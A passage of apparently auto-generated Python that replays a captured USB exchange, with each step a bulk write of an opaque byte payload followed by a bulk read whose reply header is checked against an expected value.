b\"\\xA4\\x8D\\x93\\x93\\x58\\xE6\\x6C\\x8A\\xED\\x04\\xD8\\xDB\")\n # Generated from packet 2847/2848\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 2847/2848\")\n # Generated from packet 2849/2850\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\xDD\\xC1\\x66\\xFC\\x11\\x66\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x64\\xEB\\x7D\\x19\\x43\\xEA\\x06\\x4A\"\n b\"\\x37\\x02\\x1C\\x3F\\x55\\x9D\\x14\\xF6\\x6B\\x92\\x3B\\xE6\\x4B\\x9A\\xD1\\x3D\"\n b\"\\x81\\x4E\\xF5\\x76\\x58\\x55\\x34\\xA7\\xEA\\xB8\\x5E\\x0D\\xF4\\x18\\x94\\x1F\"\n b\"\\x20\\xB4\\x83\\xC3\\xCD\\xC1\\xC3\\x97\\xE8\\x3B\\xD1\\xC6\\x77\\x1E\\xA5\\x77\"\n b\"\\x1C\\xBA\\x2E\\xAE\\x42\\x96\\x56\\x9B\\xF5\\xD5\\xEF\\x92\\x5D\\x91\\x03\\x74\"\n b\"\\xA5\\xFC\\x84\\xD5\\x30\\xE9\\x7D\\xEA\\xD1\\x30\\x4D\\x1B\\xBF\\x9E\\xCB\\x4C\"\n b\"\\x4A\\xCA\\x70\\x44\\xA8\\x9D\\xEE\\xDD\\x67\\x22\\x2F\\x34\\x75\\xB6\\xA8\\x38\"\n b\"\\xA9\\x7E\\xFF\\x15\\x9F\\x44\\x1C\\x92\\xCC\\xC2\\xC2\\x27\\x94\\xCB\\x93\\x41\"\n b\"\\x82\\xD2\\xED\\xE6\\x0B\\xF1\\x49\\x40\\x49\\xAA\\x21\\x85\\xA0\\x62\\x84\\xBF\"\n b\"\\x7E\\xA8\\xDE\\x29\\x39\\x41\\xA2\\x58\\xCF\\x7F\\x6F\\x17\\x5E\\x27\\xF3\\x04\"\n b\"\\x2F\\x9F\\xDF\\x0E\\x16\\x48\\x98\\x7C\\x6E\\xB4\\x13\\x42\\x4F\\x08\\xFD\\xC8\"\n b\"\\xCD\\xFE\\x72\\xA1\\x78\\x3E\\x9C\\x8D\\x09\\x72\\x58\\x3E\\x11\\x4F\\x0C\\x2A\"\n b\"\\x99\\xEE\\xE6\\x59\\xC9\\xDA\\xD7\\xF3\\x30\\xA9\\xF9\\x0E\\xC9\\x83\\xC3\\x19\"\n b\"\\x46\\xBC\\xD3\\x56\\xB1\\x93\\xDC\\xEB\\xAA\\x4B\\x6A\\x38\\xC4\\xB4\\x23\\x71\"\n b\"\\x40\\xA3\\xAC\\x70\\x7A\\xE4\\x0A\\x70\\xEC\\x39\\xF2\\x94\\x18\\x04\\x2D\\x3E\"\n b\"\\xDD\\xD0\\x24\\x86\\xC4\\x8D\\x7E\\x55\\x52\\x22\\x3B\\xA8\\xE9\\xF1\\x28\\x3F\"\n b\"\\xFD\\x4B\\x22\\x03\\xAB\\x15\\x9A\\x63\\x9E\\x36\\x03\\x29\")\n # Generated from packet 2851/2852\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 2851/2852\")\n # Generated from packet 2853/2854\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\xB7\\x73\\x4D\\x90\\x08\\x7A\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x3E\\xA7\\x11\\x15\\xF7\\x06\\x5E\\x3B\"\n b\"\\xE7\\x26\\x56\\xD1\\x3C\\xEC\\x82\\xF5\\x77\\x35\\x99\\x34\\xA6\\x87\\x74\\x5E\"\n b\"\\x0C\\x99\\xD4\\x94\\x1E\\x4D\\x78\\x83\\xC2\\xA0\\x0D\\xC3\\x96\\x85\\xF7\\xD1\"\n b\"\\xC7\\x1A\\xD2\\xA5\\x76\\x71\\x76\\x2E\\xAF\\x2F\\x5A\\x56\\x9A\\x98\\x19\\xEF\"\n b\"\\x93\\x30\\x5D\\x03\\x75\\xC8\\x30\\x84\\xD4\\x5D\\x25\\x7D\\xEB\\xBC\\xFC\\x4D\"\n b\"\\x1A\\xD2\\x52\\xCB\\x4D\\x27\\x06\\x70\\x45\\xC5\\x51\\xEE\\xDC\\x0A\\xEE\\x2F\"\n b\"\\x35\\x18\\x7A\\xA8\\x39\\xC4\\xB2\\xFF\\x14\\xF2\\x88\\x1C\\x93\\xA1\\x0E\\xC2\"\n b\"\\x26\\xF9\\x07\\x93\\x40\\xEF\\x1E\\xED\\xE7\\x66\\x3D\\x49\\x41\\x24\\x66\\x21\"\n b\"\\x84\\xCD\\xAE\\x84\\xBE\\x13\\x64\\xDE\\x28\\x54\\x8D\\xA2\\x59\\xA2\\xB3\\x6F\"\n b\"\\x16\\x33\\xEB\\xF3\\x05\\x42\\x53\\xDF\\x0F\\x7B\\x84\\x98\\x7D\\x03\\x78\\x13\"\n b\"\\x43\\x22\\xC4\\xFD\\xC9\\xA0\\x32\\x72\\xA0\\x15\\xF2\\x9C\\x8C\\x64\\xBE\\x58\"\n b\"\\x3F\\x7C\\x83\\x0C\\x2B\\xF4\\x22\\xE6\\x58\\xA4\\x16\\xD7\\xF2\\x5D\\x65\\xF9\"\n b\"\\x0F\\xA4\\x4F\\xC3\\x18\\x2B\\x70\\xD3\\x57\\xDC\\x5F\\xDC\\xEA\\xC7\\x87\\x6A\"\n b\"\\x39\\xA9\\x78\\x23\\x70\\x2D\\x6F\\xAC\\x71\\x17\\x28\\x0A\\x71\\x81\\xF5\\xF2\"\n b\"\\x95\\x75\\xC8\\x2D\\x3F\\xB0\\x1C\\x24\\x87\\xA9\\x41\\x7E\\x54\\x3F\\xEE\\x3B\"\n b\"\\xA9\\x84\\x3D\\x28\\x3E\\x90\\x87\\x22\\x02\\xC6\\xD9\\x9A\\x62\\xF3\\xFA\\x03\"\n b\"\\x28\\x33\\x14\\x99\\xAC\\xFF\\x79\\x8C\\x3B\\xD3\\x8F\\xA4\")\n # Generated from packet 2855/2856\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 2855/2856\")\n # Generated from packet 2857/2858\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\x79\\x23\\x43\\x84\\xA5\\x6C\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xAF\\xEB\\x62\\x49\\x93\\xED\\x8B\\xD8\"\n b\"\\x25\\x52\\xD2\\x83\\x3F\\x52\\x7B\\xFF\\x1D\\x53\\x3D\\xEE\\xDC\\xA0\\x86\\x87\"\n b\"\\x8D\\xF8\\xFF\\xEE\\x31\\xC0\\xDD\\xC7\\xE2\\x94\\x98\\x62\\x8A\\x27\\xA5\\x3F\"\n b\"\\x4B\\x94\\x87\\x14\\x00\\xF9\\xF3\\x3B\\x88\\xE5\\x2A\\xFC\\xD9\\xC2\\x7D\\xB2\"\n b\"\\xA4\\x70\\xFE\\xE2\\x58\\x24\\xAD\\xE3\\x93\\xAA\\x82\\x28\\xFB\\x61\\xE5\\x04\"\n b\"\\xC3\\x62\\x0B\\xDE\\x3C\\x3D\\x62\\x9E\\x20\\x3D\\x30\\x8B\\x4E\\xE2\\x8D\\x77\"\n b\"\\xE8\\x52\\x0E\\xD1\\xFD\\x52\\xC2\\xE5\\x0A\\x5E\\x90\\x78\\x31\\x35\\x46\\x58\"\n b\"\\x89\\x95\\x61\\x26\\xB2\\xC7\\x15\\xCE\\xA8\\xB2\\x77\\x51\\xA0\\x7B\\x49\\x5E\"\n b\"\\x8F\\x6B\\x69\\x56\\x65\\xB0\\xA3\\x82\\x41\\xFB\\x7A\\x99\\x80\\x2A\\xC8\\x74\"\n b\"\\xEA\\x80\\xD6\\xD4\\x20\\x92\\x02\\x78\\x37\\x4E\\xEF\\x0D\\x77\\x1A\\xCA\\xF7\"\n b\"\\x65\\x4B\\x55\\xD2\\x11\\xFA\\x3E\\x76\\x9A\\x23\\x60\\x5A\\xE2\\x16\\xD7\\x19\"\n b\"\\x5B\\x1F\\x7F\\x5D\\xB7\\xF9\\x87\\x30\\x30\\x58\\x12\\x25\\xC9\\x67\\xF3\\xFC\"\n b\"\\xF9\\x96\\x9D\\x52\\x7F\\xC1\\x68\\x06\\xC4\\xC9\\x8A\\x51\\x5A\\x50\\x45\\xEE\"\n b\"\\x9B\\xB9\\x57\\x7A\\x1C\\xB5\\x8B\\xB2\\x4B\\x98\\xBD\\x88\\xA8\\x1F\\xEE\\x0E\"\n b\"\\x76\\xAA\\xB6\\x07\\x27\\xCC\\xA0\\x1E\\x59\\x6B\\x29\\x3D\\xFD\\xCD\\x6B\\x66\"\n b\"\\x95\\x08\\x82\\xAE\\x30\\x32\\x5C\\x64\\x6A\\xA4\\x1B\\x8D\\x16\\xD5\\xED\\xB3\"\n b\"\\xDB\\x9A\\x7C\\xEB\\x47\\x89\\x0D\\x53\\x6B\\x83\\x34\\x84\")\n # Generated from packet 2859/2860\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 2859/2860\")\n # Generated from packet 2861/2862\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\x2B\\xD2\\x51\\xB8\\xF6\\x71\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x53\\x86\\x1C\\xDE\\xD0\\xFF\\x49\\xDF\"\n b\"\\x1C\\xCB\\xBE\\xD3\\x4E\\x56\\x85\\xB8\\x98\\x76\\x3D\\x18\\xBF\\x08\\x06\\x4A\"\n b\"\\xCB\\xE0\\x1C\\x3F\\xA9\\x7F\\x14\\xF6\\x97\\x70\\x3B\\xE6\\xB7\\x78\\xD1\\x3D\"\n b\"\\x7D\\xAC\\xF5\\x76\\xA4\\xB7\\x34\\xA7\\x16\\x5A\\x5E\\x0D\\x08\\xFA\\x94\\x1F\"\n b\"\\xDC\\x56\\x83\\xC3\\x31\\x23\\xC3\\x97\\x14\\xD9\\xD1\\xC6\\x8B\\xFC\\xA5\\x77\"\n b\"\\xE0\\x58\\x2E\\xAE\\xBE\\x74\\x56\\x9B\\x09\\x37\\xEF\\x92\\xA1\\x73\\x03\\x74\"\n b\"\\x59\\x1E\\x84\\xD5\\xCC\\x0B\\x7D\\xEA\\x2D\\xD2\\x4D\\x1B\\x43\\x7C\\xCB\\x4C\"\n b\"\\xB6\\x28\\x70\\x44\\x54\\x7F\\xEE\\xDD\\x9B\\xC0\\x2F\\x34\\x89\\x54\\xA8\\x38\"\n b\"\\x55\\x9C\\xFF\\x15\\x63\\xA6\\x1C\\x92\\x30\\x20\\xC2\\x27\\x68\\x29\\x93\\x41\"\n b\"\\x7E\\x30\\xED\\xE6\\xF7\\x13\\x49\\x40\\xB5\\x48\\x21\\x85\\x5C\\x80\\x84\\xBF\"\n b\"\\x82\\x4A\\xDE\\x29\\xC5\\xA3\\xA2\\x58\\x33\\x9D\\x6F\\x17\\xA2\\xC5\\xF3\\x04\"\n b\"\\xD3\\x7D\\xDF\\x0E\\xEA\\xAA\\x98\\x7C\\x92\\x56\\x13\\x42\\xB3\\xEA\\xFD\\xC8\"\n b\"\\x31\\x1C\\x72\\xA1\\x84\\xDC\\x9C\\x8D\\xF5\\x90\\x58\\x3E\\xED\\xAD\\x0C\\x2A\"\n b\"\\x65\\x0C\\xE6\\x59\\x35\\x38\\xD7\\xF3\\xCC\\x4B\\xF9\\x0E\\x35\\x61\\xC3\\x19\"\n b\"\\xBA\\x5E\\xD3\\x56\\x4D\\x71\\xDC\\xEB\\x56\\xA9\\x6A\\x38\\x38\\x56\\x23\\x71\"\n b\"\\xBC\\x41\\xAC\\x70\\x86\\x06\\x0A\\x70\\x10\\xDB\\xF2\\x94\\xE4\\xE6\\x2D\\x3E\"\n b\"\\x21\\x32\\x24\\x86\\x38\\x6F\\x7E\\x55\\xAE\\xC0\\x3B\\xA8\")\n # Generated from packet 2863/2864\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 2863/2864\")\n # Generated from packet 2865/2866\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\xE5\\x82\\x5F\\xAC\\x79\\x50\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x62\\xEE\\xDD\\x53\\xE4\\x46\\x68\\x06\"\n b\"\\x5F\\x4E\\x8A\\x51\\xC1\\xD7\\x45\\xEE\\x00\\x3E\\x57\\x7A\\x87\\x32\\x8B\\xB2\"\n b\"\\xD0\\x1F\\xBD\\x88\\x33\\x98\\xEE\\x0E\\xED\\x2D\\xB6\\x07\\xBC\\x4B\\xA0\\x1E\"\n b\"\\xC2\\xEC\\x29\\x3D\\x66\\x4A\\x6B\\x66\\x0E\\x8F\\x82\\xAE\\xAB\\xB5\\x5C\\x64\"\n b\"\\xF1\\x23\\x1B\\x8D\\x8D\\x52\\xED\\xB3\\x40\\x1D\\x7C\\xEB\\xDC\\x0E\\x0D\\x53\"\n b\"\\xF0\\x04\\x34\\x84\\xB7\\x76\\x4C\\x78\\x3C\\x48\\x6D\\xC4\\xD2\\xC2\\xEF\\x32\"\n b\"\\x5D\\xAB\\x5A\\xF2\\xB3\\x87\\x2B\\xBE\\x77\\x34\\x33\\x83\\x23\\x20\\xBB\\x22\"\n b\"\\xC9\\x53\\xEB\\x16\\xF8\\xF9\\x12\\x65\\xD6\\x04\\xEB\\x4F\\xEC\\x13\\x64\\x70\"\n b\"\\xFC\\x5C\\x93\\x5F\\xF3\\xE1\\x88\\x87\\x45\\x32\\xE6\\x78\\x0C\\x7B\\x62\\x6F\"\n b\"\\x83\\x7A\\x58\\x28\\x25\\x7A\\xCE\\xF5\\xDD\\x9E\\x3A\\xC8\\x02\\x34\\xFF\\x1C\"\n b\"\\x0B\\x8C\\xE6\\x41\\x51\\x5F\\x70\\xEE\\x14\\xA2\\xCB\\x3D\\x07\\x35\\xDF\\x87\"\n b\"\\x0D\\x09\\x89\\xD9\\xB5\\x69\\xBC\\xFA\\x2C\\x23\\x7C\\x14\\xB6\\xA7\\xB0\\x79\"\n b\"\\xA3\\x30\\x9C\\x8F\\x8B\\x19\\xB4\\x7D\\xA8\\x31\\x1E\\x8C\\x5D\\x6B\\xB9\\x5F\"\n b\"\\x4F\\xA2\\xB7\\x51\\x73\\xAC\\xFD\\xAC\\x98\\xAD\\xBE\\xBB\\x80\\x2F\\xCC\\x35\"\n b\"\\x31\\xAA\\x64\\xA8\\x95\\x1D\\xAF\\xA3\\x9B\\x89\\xA1\\x09\\xCF\\x67\\x5E\\x53\"\n b\"\\x87\\xEA\\x03\\x9D\\x85\\xD1\\x7C\\xEB\\xEA\\xB9\\x15\\x12\\xF1\\x40\\x52\\x04\"\n b\"\\xDE\\xDB\\xD6\\x33\\xBC\\x90\\x63\\x5A\\xA0\\x57\\xE2\\x5D\")\n # Generated from packet 2867/2868\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 2867/2868\")\n # Generated from packet 2869/2870\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\x88\\x4E\\x82\\x1C\\xBD\\x17\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xE6\\x0C\\xBD\\x44\\x59\\xCD\\x34\\x57\"\n b\"\\xCD\\x4A\\x38\\x8B\\x05\\x1D\\x15\\xBD\\x3F\\xFE\\x92\\xEE\\xB9\\x20\\x27\\xB6\"\n b\"\\xB0\\x71\\x41\\xA0\\xA9\\x0F\\xE6\\x29\\x8A\\xAB\\x40\\x6B\\xD1\\xC3\\x85\\x82\"\n b\"\\x19\\x66\\xBF\\x5C\\xD3\\x3C\\x29\\x1B\\x3A\\x40\\x58\\xED\\x04\\x8D\\x17\\x7C\"\n b\"\\x5C\\x11\\x04\\x0D\\xE4\\x3D\\x0E\\x34\\x33\\x7A\\x7C\\x4C\\xCF\\xF1\\x42\\x6D\"\n b\"\\x73\\x1F\\xC8\\xEF\\x85\\x90\\xA1\\x5A\\x45\\x7E\\x8D\\x2B\\x09\\xBA\\x3E\\x33\"\n b\"\\x34\\xEE\\x2A\\xBB\\x95\\x04\\x59\\xEB\\xA1\\x35\\xF3\\x12\\xD2\\x1B\\x0E\\xEB\"\n b\"\\xF8\\x21\\x19\\x64\\xC7\\x31\\x56\\x93\\xE8\\x3E\\xEB\\x88\\x30\\x88\\x38\\xE6\"\n b\"\\xCF\\xC1\\x71\\x62\\xD8\\x4E\\x70\\x58\\x9F\\xE8\\x70\\xCE\\x42\\x10\\x94\\x3A\"\n b\"\\x7F\\xCF\\x3E\\xFF\\xAB\\xC6\\x86\\xE6\\xF6\\x9C\\x55\\x70\\x59\\xD9\\xA8\\xCB\"\n b\"\\x8A\\xCA\\x3F\\xDF\\x30\\xC0\\x03\\x89\\x6E\\x78\\x63\\xBC\\x4D\\xE1\\x29\\x7C\"\n b\"\\xA3\\x7B\\xAD\\xB0\\xCE\\x6E\\x3A\\x9C\\x38\\x46\\x13\\xB4\\xCA\\x65\\x3B\\x1E\"\n b\"\\x3B\\x90\\x61\\xB9\\xE8\\x82\\xA8\\xB7\\xE6\\xBE\\xA6\\xFD\\x1B\\x55\\xA7\\xBE\"\n b\"\\x0C\\x4D\\x25\\xCC\\x82\\xFC\\xA0\\x64\\x1F\\x58\\x17\\xAF\\x14\\x56\\x83\\xA1\"\n b\"\\xBE\\x02\\x6D\\x5E\\xE4\\x4A\\xE0\\x03\\x2A\\x48\\xDB\\x7C\\x5C\\x27\\xB3\\x15\"\n b\"\\xA5\\x3C\\x4A\\x52\\xB3\\x13\\xD1\\xD6\\x84\\x71\\x9A\\x63\\xED\\x6D\\x5D\\xE2\"\n b\"\\xEA\\x18\\x01\\xA3\\xBF\\x01\\x93\\x93\\x43\\x6A\\x6C\\x8A\")\n # Generated from packet 2871/2872\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 2871/2872\")\n # Generated from packet 2873/2874\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\x46\\x1E\\x8C\\x08\\xF7\\x4E\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x93\\xA6\\x1D\\xB3\\xEE\\x34\\xFE\\xE2\"\n b\"\\x12\\x60\\xAD\\xE3\\xD9\\xEE\\x82\\x28\\xB1\\x25\\xE5\\x04\\x89\\x26\\x0B\\xDE\"\n b\"\\x76\\x79\\x62\\x9E\\x6A\\x79\\x30\\x8B\\x04\\xA6\\x8D\\x77\\xA2\\x16\\x0E\\xD1\"\n b\"\\xB7\\x16\\xC2\\xE5\\x40\\x1A\\x90\\x78\\x7B\\x71\\x46\\x58\\xC3\\xD1\\x61\\x26\"\n b\"\\xF8\\x83\\x15\\xCE\\xE2\\xF6\\x77\\x51\\xEA\\x3F\\x49\\x5E\\xC5\\x2F\\x69\\x56\"\n b\"\\x2F\\xF4\\xA3\\x82\\x0B\\xBF\\x7A\\x99\\xCA\\x6E\\xC8\\x74\\xA0\\xC4\\xD6\\xD4\"\n b\"\\x6A\\xD6\\x02\\x78\\x7D\\x0A\\xEF\\x0D\\x3D\\x5E\\xCA\\xF7\\x2F\\x0F\\x55\\xD2\"\n b\"\\x5B\\xBE\\x3E\\x76\\xD0\\x67\\x60\\x5A\\xA8\\x52\\xD7\\x19\\x11\\x5B\\x7F\\x5D\"\n b\"\\xFD\\xBD\\x87\\x30\\x7A\\x1C\\x12\\x25\\x83\\x23\\xF3\\xFC\\xB3\\xD2\\x9D\\x52\"\n b\"\\x35\\x85\\x68\\x06\\x8E\\x8D\\x8A\\x51\\x10\\x14\\x45\\xEE\\xD1\\xFD\\x57\\x7A\"\n b\"\\x56\\xF1\\x8B\\xB2\\x01\\xDC\\xBD\\x88\\xE2\\x5B\\xEE\\x0E\\x3C\\xEE\\xB6\\x07\"\n b\"\\x6D\\x88\\xA0\\x1E\\x13\\x2F\\x29\\x3D\\xB7\\x89\\x6B\\x66\\xDF\\x4C\\x82\\xAE\"\n b\"\\x7A\\x76\\x5C\\x64\\x20\\xE0\\x1B\\x8D\\x5C\\x91\\xED\\xB3\\x91\\xDE\\x7C\\xEB\"\n b\"\\x0D\\xCD\\x0D\\x53\\x21\\xC7\\x34\\x84\\x66\\xB5\\x4C\\x78\\xED\\x8B\\x6D\\xC4\"\n b\"\\x03\\x01\\xEF\\x32\\x8C\\x68\\x5A\\xF2\\x62\\x44\\x2B\\xBE\\xA6\\xF7\\x33\\x83\"\n b\"\\xF2\\xE3\\xBB\\x22\\x18\\x90\\xEB\\x16\\x29\\x3A\\x12\\x65\\x07\\xC7\\xEB\\x4F\"\n b\"\\x3D\\xD0\\x64\\x70\\x2D\\x9F\\x93\\x5F\\x22\\x22\\x88\\x87\")\n # Generated from packet 2875/2876\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 2875/2876\")\n # Generated from packet 2877/2878\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\x14\\xEF\\x9E\\x34\\xEB\\x21\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x3E\\x60\\x84\\x74\\x58\\x3F\\xD9\\x22\"\n b\"\\x35\\x03\\x60\\x8B\\xA5\\xB5\\xDF\\xD2\\xFE\\xAF\\xDF\\x7B\\x82\\x8D\\xDE\\x3D\"\n b\"\\x93\\x4C\\x2D\\x86\\xFA\\x1D\\x75\\xFF\\x93\\xA1\\x4D\\xDD\\xBA\\x72\\x19\\x98\"\n b\"\\x1F\\x1A\\xAA\\xA5\\x42\\xDB\\x19\\x87\\x69\\x90\\x74\\xF3\\x46\\x18\\x68\\x2A\"\n b\"\\x81\\x49\\x4F\\x7D\\xCF\\x34\\xFD\\xFE\\x9F\\xC8\\xA9\\xAD\\x9E\\x03\\x27\\x82\"\n b\"\\x55\\x6B\\xEC\\xE5\\x79\\x53\\xEF\\x0B\\xA3\\xAC\\xB0\\x62\\xE3\\xB0\\xB0\\x30\"\n b\"\\xF6\\xDE\\x6F\\x8D\\x0A\\x78\\xDF\\x0E\\xAC\\x6D\\xDF\\xC2\\x98\\x9A\\xD3\\x90\"\n b\"\\x05\\xA1\\xB8\\x46\\x25\\x19\\x18\\x61\\x5B\\x22\\x4A\\x15\\xB3\\x38\\x3F\\x77\"\n b\"\\x2C\\x30\\xF6\\x49\\x23\\x1F\\xE6\\x69\\x2B\\xF5\\x3D\\xA3\\xFF\\xD1\\x76\\x7A\"\n b\"\\xE4\\x10\\xA7\\xC8\\x09\\x7A\\x0D\\xD6\\xA9\\xB0\\x1F\\x02\\x05\\xA7\\xC3\\xEF\"\n b\"\\x70\\xE7\\x97\\xCA\\x8A\\xF5\\xC6\\x55\\xAF\\x81\\x77\\x3E\\x0B\\x0A\\xAE\\x60\"\n b\"\\x27\\x72\\x9B\\xD7\\x64\\xCB\\x92\\x7F\\x20\\x27\\x74\\x87\\x4D\\xA0\\xD5\\x12\"\n b\"\\x58\\x59\\xEA\\xF3\\x81\\x69\\x1B\\x9D\\x2F\\xEF\\x4C\\x68\\x7B\\x54\\x44\\x8A\"\n b\"\\x2C\\xCA\\xDD\\x45\\x93\\x0B\\x34\\x57\\x07\\x8C\\x38\\x8B\\xCF\\xDB\\x15\\xBD\"\n b\"\\xF5\\x38\\x92\\xEE\\x73\\xE6\\x27\\xB6\\x7A\\xB7\\x41\\xA0\\x63\\xC9\\xE6\\x29\"\n b\"\\x40\\x6D\\x40\\x6B\\x1B\\x05\\x85\\x82\\xD3\\xA0\\xBF\\x5C\\x19\\xFA\\x29\\x1B\"\n b\"\\xF0\\x86\\x58\\xED\\xCE\\x4B\\x17\\x7C\\x96\\xD7\\x04\\x0D\")\n # Generated from packet 2879/2880\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 2879/2880\")\n # Generated from packet 2881/2882\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\xDA\\xBF\\x90\\x20\\x15\\x20\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x9C\\xCE\\xC5\\x3E\\x5D\\x1D\\x87\\x14\"\n b\"\\x16\\x70\\xF3\\x3B\\x9E\\x6C\\x2A\\xFC\\xCF\\x4B\\x7D\\xB2\\xB2\\xF9\\xFE\\xE2\"\n b\"\\x4E\\xAD\\xAD\\xE3\\x85\\x23\\x82\\x28\\xED\\xE8\\xE5\\x04\\xD5\\xEB\\x0B\\xDE\"\n b\"\\x2A\\xB4\\x62\\x9E\\x36\\xB4\\x30\\x8B\\x58\\x6B\\x8D\\x77\\xFE\\xDB\\x0E\\xD1\"\n b\"\\xEB\\xDB\\xC2\\xE5\\x1C\\xD7\\x90\\x78\\x27\\xBC\\x46\\x58\\x9F\\x1C\\x61\\x26\"\n b\"\\xA4\\x4E\\x15\\xCE\\xBE\\x3B\\x77\\x51\\xB6\\xF2\\x49\\x5E\\x99\\xE2\\x69\\x56\"\n b\"\\x73\\x39\\xA3\\x82\\x57\\x72\\x7A\\x99\\x96\\xA3\\xC8\\x74\\xFC\\x09\\xD6\\xD4\"\n b\"\\x36\\x1B\\x02\\x78\\x21\\xC7\\xEF\\x0D\\x61\\x93\\xCA\\xF7\\x73\\xC2\\x55\\xD2\"\n b\"\\x07\\x73\\x3E\\x76\\x8C\\xAA\\x60\\x5A\\xF4\\x9F\\xD7\\x19\\x4D\\x96\\x7F\\x5D\"\n b\"\\xA1\\x70\\x87\\x30\\x26\\xD1\\x12\\x25\\xDF\\xEE\\xF3\\xFC\\xEF\\x1F\\x9D\\x52\"\n b\"\\x69\\x48\\x68\\x06\\xD2\\x40\\x8A\\x51\\x4C\\xD9\\x45\\xEE\\x8D\\x30\\x57\\x7A\"\n b\"\\x0A\\x3C\\x8B\\xB2\\x5D\\x11\\xBD\\x88\\xBE\\x96\\xEE\\x0E\\x60\\x23\\xB6\\x07\"\n b\"\\x31\\x45\\xA0\\x1E\\x4F\\xE2\\x29\\x3D\\xEB\\x44\\x6B\\x66\\x83\\x81\\x82\\xAE\"\n b\"\\x26\\xBB\\x5C\\x64\\x7C\\x2D\\x1B\\x8D\\x00\\x5C\\xED\\xB3\\xCD\\x13\\x7C\\xEB\"\n b\"\\x51\\x00\\x0D\\x53\\x7D\\x0A\\x34\\x84\\x3A\\x78\\x4C\\x78\\xB1\\x46\\x6D\\xC4\"\n b\"\\x5F\\xCC\\xEF\\x32\\xD0\\xA5\\x5A\\xF2\\x3E\\x89\\x2B\\xBE\\xFA\\x3A\\x33\\x83\"\n b\"\\xAE\\x2E\\xBB\\x22\\x44\\x5D\\xEB\\x16\\x75\\xF7\\x12\\x65\")\n # Generated from packet 2883/2884\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 2883/2884\")\n # Generated from packet 2885/2886\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\xB0\\x0D\\xBB\\x4C\\xB8\\x5D\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x30\\x4B\\xEB\\xD9\\x86\\x74\\xD2\\x83\"\n b\"\\x9C\\x74\\x7B\\xFF\\xBE\\x75\\x3D\\xEE\\x7F\\x86\\x86\\x87\\x2E\\xDE\\xFF\\xEE\"\n b\"\\x92\\xE6\\xDD\\xC7\\x41\\xB2\\x98\\x62\\x29\\x01\\xA5\\x3F\\xE8\\xB2\\x87\\x14\"\n b\"\\xA3\\xDF\\xF3\\x3B\\x2B\\xC3\\x2A\\xFC\\x7A\\xE4\\x7D\\xB2\\x07\\x56\\xFE\\xE2\"\n b\"\\xFB\\x02\\xAD\\xE3\\x30\\x8C\\x82\\x28\\x58\\x47\\xE5\\x04\\x60\\x44\\x0B\\xDE\"\n b\"\\x9F\\x1B\\x62\\x9E\\x83\\x1B\\x30\\x8B\\xED\\xC4\\x8D\\x77\\x4B\\x74\\x0E\\xD1\"\n b\"\\x5E\\x74\\xC2\\xE5\\xA9\\x78\\x90\\x78\\x92\\x13\\x46\\x58\\x2A\\xB3\\x61\\x26\"\n b\"\\x11\\xE1\\x15\\xCE\\x0B\\x94\\x77\\x51\\x03\\x5D\\x49\\x5E\\x2C\\x4D\\x69\\x56\"\n b\"\\xC6\\x96\\xA3\\x82\\xE2\\xDD\\x7A\\x99\\x23\\x0C\\xC8\\x74\\x49\\xA6\\xD6\\xD4\"\n b\"\\x83\\xB4\\x02\\x78\\x94\\x68\\xEF\\x0D\\xD4\\x3C\\xCA\\xF7\\xC6\\x6D\\x55\\xD2\"\n 